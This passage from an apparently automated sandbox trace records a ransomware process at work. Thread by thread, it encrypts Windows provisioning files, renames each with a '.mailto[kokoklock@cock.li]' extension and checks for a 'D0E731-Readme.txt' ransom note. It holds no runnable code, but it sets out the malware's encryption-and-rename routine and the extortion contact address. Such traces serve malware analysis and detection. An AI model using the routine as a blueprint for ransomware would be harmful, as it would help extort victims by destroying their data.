nNumberOfBytesToWrite=0x2d1, lpNumberOfBytesWritten=0x2e33fbd8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e33fbd8*=0x2d1, lpOverlapped=0x0) returned 1 [0086.767] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddad8 [0086.767] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddb00 [0086.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb00) returned 1 [0086.767] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddad8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e33fbd4, lpOverlapped=0x0 | out: lpBuffer=0x55ddad8*, lpNumberOfBytesWritten=0x2e33fbd4*=0x20, lpOverlapped=0x0) returned 1 [0086.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddad8) returned 1 [0086.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.767] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddab0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e33fc00, lpOverlapped=0x0 | out: lpBuffer=0x55ddab0*, lpNumberOfBytesWritten=0x2e33fc00*=0x8, lpOverlapped=0x0) returned 1 [0086.767] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e33fc18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e33fc00, lpOverlapped=0x0 | out: lpBuffer=0x2e33fc18*, lpNumberOfBytesWritten=0x2e33fc00*=0x4, lpOverlapped=0x0) returned 1 [0086.767] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e33fc00, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e33fc00*=0x4, lpOverlapped=0x0) returned 1 [0086.767] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e33fc00, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e33fc00*=0x6c, lpOverlapped=0x0) returned 1 [0086.767] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e33fc00, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2e33fc00*=0x20, lpOverlapped=0x0) returned 1 [0086.768] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e33fc00, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e33fc00*=0x4, lpOverlapped=0x0) returned 1 [0086.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda88) returned 1 [0086.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.768] CloseHandle (hObject=0x3d0) returned 1 [0086.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0086.768] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" [0086.768] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.768] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.769] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.769] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.769] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.769] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.769] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8140) returned 1 [0086.769] RtlExitUserThread (Status=0x1) Thread: id = 1326 os_tid = 0x1090 [0086.755] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0086.770] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 1 [0086.770] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.770] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e3bfbc8 | out: lpFileSize=0x2e3bfbc8*=471) returned 1 [0086.771] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x1d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.771] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e3bfb9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e3bfb98, lpOverlapped=0x0 | out: lpBuffer=0x2e3bfb9c*, lpNumberOfBytesRead=0x2e3bfb98*=0x4, lpOverlapped=0x0) returned 1 [0086.771] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda88 [0086.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.772] NtQuerySystemTime (in: CurrentTime=0x2e3bfb74 | out: CurrentTime=0x2e3bfb74*=132121176446641867) returned 0x0 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xfd40811 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xc08f7113 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x699772cc [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x25f812d5 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x8c02b9d2 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x207b7758 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xa2a878e [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xf6214334 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xc8c7bfa3 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x84559328 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xf7f40e84 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xbeb305a [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xea23033e [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xa075b400 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x5d66d94f [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xd91d91ba [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xc3c5705a [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xbee2a0e8 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x9d47311b [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x2d19d04 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x4f8ae8fe [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x1163e696 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xf0ace748 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0xe8da326f [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x69d98c6 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x291eaeae [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x9d8eb1df [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x30d4a318 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x2be21a13 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x1e90464 [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x355d921f [0086.772] RtlRandom (in: Seed=0x2e3bfb80 | out: Seed=0x2e3bfb80) returned 0x1951978e [0086.783] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1d7, lpNumberOfBytesRead=0x2e3bfb74, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e3bfb74*=0x1d7, lpOverlapped=0x0) returned 1 [0086.783] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3bfb3c | out: lpNewFilePointer=0x0) returned 1 [0086.783] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x1d7, lpNumberOfBytesWritten=0x2e3bfb70, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e3bfb70*=0x1d7, lpOverlapped=0x0) returned 1 [0086.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddb00 [0086.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb00) returned 1 [0086.783] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e3bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2e3bfb6c*=0x20, lpOverlapped=0x0) returned 1 [0086.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0086.784] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e3bfb98, lpOverlapped=0x0 | out: lpBuffer=0x55ddad8*, lpNumberOfBytesWritten=0x2e3bfb98*=0x8, lpOverlapped=0x0) returned 1 [0086.784] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e3bfbb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e3bfb98, lpOverlapped=0x0 | out: lpBuffer=0x2e3bfbb0*, lpNumberOfBytesWritten=0x2e3bfb98*=0x4, lpOverlapped=0x0) returned 1 [0086.784] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e3bfb98, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e3bfb98*=0x4, lpOverlapped=0x0) returned 1 [0086.784] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e3bfb98, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e3bfb98*=0x6c, lpOverlapped=0x0) returned 1 [0086.785] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e3bfb98, lpOverlapped=0x0 | out: lpBuffer=0x55dda88*, lpNumberOfBytesWritten=0x2e3bfb98*=0x20, lpOverlapped=0x0) returned 1 [0086.785] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e3bfb98, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e3bfb98*=0x4, lpOverlapped=0x0) returned 1 [0086.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda88) returned 1 [0086.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddad8) returned 1 [0086.785] CloseHandle (hObject=0x3d0) returned 1 [0086.785] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x33fc9c8 [0086.785] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0086.785] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0086.785] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.786] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.786] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.786] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0086.786] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0086.786] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.786] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.786] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.786] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0086.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0086.787] RtlExitUserThread (Status=0x1) Thread: id = 1327 os_tid = 0x1098 [0086.789] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.789] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.789] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.789] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e43f98c | out: lpFileSize=0x2e43f98c*=708) returned 1 [0086.789] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.789] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e43f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e43f95c, lpOverlapped=0x0 | out: lpBuffer=0x2e43f960*, lpNumberOfBytesRead=0x2e43f95c*=0x4, lpOverlapped=0x0) returned 1 [0086.791] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda88 [0086.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.791] NtQuerySystemTime (in: CurrentTime=0x2e43f938 | out: CurrentTime=0x2e43f938*=132121176446798246) returned 0x0 [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xb2798392 [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x7f5bab11 [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x361d5735 [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xa86a0d16 [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xb7fd9fbe [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xbab0edfa [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xd7cadaab [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xbb0a11df [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x39bde89f [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xc152a401 [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x6cca2f7f [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x3513de7b [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xed29fe2a [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xf5b40c04 [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x3cd6264f [0086.791] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xed99ce61 [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xd2e724e1 [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xc933bf57 [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x9a926a16 [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xc60503cf [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x23e9bf6d [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x6bfb23fc [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xbef84016 [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xa963acb9 [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x772373c7 [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xd1a5ec1d [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xd1176acd [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x3af79ab5 [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0x1e2ab96c [0086.792] RtlRandom (in: Seed=0x2e43f944 | out: Seed=0x2e43f944) returned 0xb773c44 [0086.792] RtlRandom (in: 